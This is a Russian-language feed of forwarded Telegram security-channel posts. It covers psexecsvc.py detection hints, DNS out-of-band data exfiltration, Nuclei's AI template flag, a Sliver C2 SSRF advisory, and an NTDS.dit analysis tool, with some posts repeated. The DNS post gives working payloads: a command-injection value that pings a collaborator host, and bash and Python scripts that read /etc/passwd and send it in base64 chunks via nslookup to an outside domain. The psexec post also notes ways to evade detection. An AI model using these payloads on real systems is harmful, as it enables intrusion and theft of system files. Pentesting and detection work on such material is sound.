Forwarded from Хатка бобра (Vladimir)
На прошлой неделе пошумел выход нового скрипта psexecsvc.py, на волне слоупоков давайте разбираться что там интересного.
Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря.
В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexecsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы.
При реализации детекта нужно учитывать следующее:
1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver*
2) Имя сервиса (PSEXECSVC) может быть изменено
3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего
4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698
5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде).
Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/
#psexec #impacket
Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря.
В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexecsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы.
При реализации детекта нужно учитывать следующее:
1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver*
2) Имя сервиса (PSEXECSVC) может быть изменено
3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего
4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698
5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде).
Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/
#psexec #impacket
GitHub
GitHub - sensepost/susinternals: psexecsvc - a python implementation of PSExec's native service implementation
psexecsvc - a python implementation of PSExec's native service implementation - sensepost/susinternals
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from Заметки склерозного вебера (ArroizX)
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:
Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:
Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:
Получение части от вывода команды
Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене
Чтение всего файла по частям
Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)
Данный bash я делал по ранее написанному python-коду:
Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9
P.S. Если base64 не катит, то просто поменяйте на hex
name=val`ping -с 1 $(whoami).collaborator`ue
Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:
Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.
Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:
Получение части от вывода команды
Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене
`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`
Чтение всего файла по частям
Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)
bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'
Данный bash я делал по ранее написанному python-коду:
import os, base64, time
border, domain, delay = 40, ".collaborator", 3
with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]
for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)
Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9
P.S. Если base64 не катит, то просто поменяйте на hex
www.opennet.ru
Компания Valve опубликовала код игры Team Fortress 2
Компания Valve опубликовала обновлённый инструментарий "Source SDK 2013", предназначенный для создания модов к играм на базе движка Source. Публикация примечательна тем, что в состав пакета включён исходный код игры Team Fortress 2 (как клиентские, так и…
🔗Ссылка:
https://opennet.ru/62747/
https://opennet.ru/62747/
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
👍1🔥1
Forwarded from #Arm1tage
Интеграция ИИ в Nuclei
В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, который позволяет на ходу генерировать темплейт на основе ваших запросов.
Для начала пользования этой фичей нужно получить АПИ токен на сайте ProjectDiscovery. Затем запускаем нуклей с флагом auth:
И добавляем токен. Теперь мы можем пользоваться генератором темплейтов. Запуск выглядит следующим образом:
Таким образом нуклей сгенерирует темплейт для инъекции SQL в параметры с дальнейшим поиском SQL ошибок, флаг -dast разрешает сканнеру проводить тестирование параметров.
Уважаемый Дмитрий АКА @reewardius создал свой сборник уже готовых промптов для разных типов ошибок и уязвимостей. Некоторые из них уже были успешно использованы в качестве теста. Вот несколько из них для примера:
В общем ждем, когда ИИ будет топ 1 на хакерване.
#nuclei #ai
В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, который позволяет на ходу генерировать темплейт на основе ваших запросов.
Для начала пользования этой фичей нужно получить АПИ токен на сайте ProjectDiscovery. Затем запускаем нуклей с флагом auth:
nuclei -auth
И добавляем токен. Теперь мы можем пользоваться генератором темплейтов. Запуск выглядит следующим образом:
nuclei -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -ai "Detect SQL errors in response when injecting common payloads into GET and POST requests" -dast
Таким образом нуклей сгенерирует темплейт для инъекции SQL в параметры с дальнейшим поиском SQL ошибок, флаг -dast разрешает сканнеру проводить тестирование параметров.
Уважаемый Дмитрий АКА @reewardius создал свой сборник уже готовых промптов для разных типов ошибок и уязвимостей. Некоторые из них уже были успешно использованы в качестве теста. Вот несколько из них для примера:
-ai "Perform fuzzing on all parameters and HTTP methods using DSL, focusing on detecting XSS vulnerabilities (Reflected, Stored, and DOM-based) with pre-conditions."
-ai "Detect exposed .git repositories and sensitive files"
-ai "Identify default credentials on login pages"
-ai "Identify open FTP servers allowing anonymous access"
В общем ждем, когда ИИ будет топ 1 на хакерване.
#nuclei #ai
Forwarded from SecuriXy.kz
SSRF в C2 Sliver Teamserver CVE-2025-27090
Affected versions: >= 1.5.26, <= 1.5.42
Patched versions: 1.5.43
Info: https://github.com/advisories/GHSA-fh4v-v779-4g2w
PoC: [https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF]
Affected versions: >= 1.5.26, <= 1.5.42
Patched versions: 1.5.43
Info: https://github.com/advisories/GHSA-fh4v-v779-4g2w
PoC: [https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF]
Forwarded from Этичный Хакер
Please open Telegram to view this post
VIEW IN TELEGRAM
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from Пакет Безопасности
Что делать, если вас взломали
Уже не счесть, сколько раз я расписывал тут, что делать при взломе вашего Телеграм-аккаунта, куда идти, что нажимать, как проверять и не допускать (например: раз, два, три, четыре, пять, шесть).
И вот, я наткнулся на сайт, гдепо минутам в подробностях расписано по шагам и конкретным сценариям, как могут угнать ваш аккаунт и что в этих случаях делать. Переписывать всё это бессмысленно, поэтому просто ловите ссылку.
Какой бы крутой ни была навигация в Телеграм – так намного удобнее. Обязательно сохраните у тебя в закладках браузера и поделить со всеми, кого это может коснуться (то есть просто со всеми). Когда настанет время, вы будете себе благодарны.
#Полезное
⚡ Пакет Безопасности | 💬 Чат
🛍 Другие каналы
Уже не счесть, сколько раз я расписывал тут, что делать при взломе вашего Телеграм-аккаунта, куда идти, что нажимать, как проверять и не допускать (например: раз, два, три, четыре, пять, шесть).
И вот, я наткнулся на сайт, где
Какой бы крутой ни была навигация в Телеграм – так намного удобнее. Обязательно сохраните у тебя в закладках браузера и поделить со всеми, кого это может коснуться (то есть просто со всеми). Когда настанет время, вы будете себе благодарны.
#Полезное
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from APT
🔍 Exploring NTDS.dit
This blog post examines the structure of the NTDS.dit file, which stores data for Active Directory. It also introduces DIT Explorer, a new open-source tool designed for analyzing NTDS.dit, demonstrating how it interprets the database to provide a structured view of the directory.
🔗 Research:
https://trustedsec.com/blog/exploring-ntds-dit-part-1-cracking-the-surface-with-dit-explorer
🔗 Source:
https://github.com/trustedsec/DitExplorer
#ad #windows #ntds #dnt
This blog post examines the structure of the NTDS.dit file, which stores data for Active Directory. It also introduces DIT Explorer, a new open-source tool designed for analyzing NTDS.dit, demonstrating how it interprets the database to provide a structured view of the directory.
🔗 Research:
https://trustedsec.com/blog/exploring-ntds-dit-part-1-cracking-the-surface-with-dit-explorer
🔗 Source:
https://github.com/trustedsec/DitExplorer
#ad #windows #ntds #dnt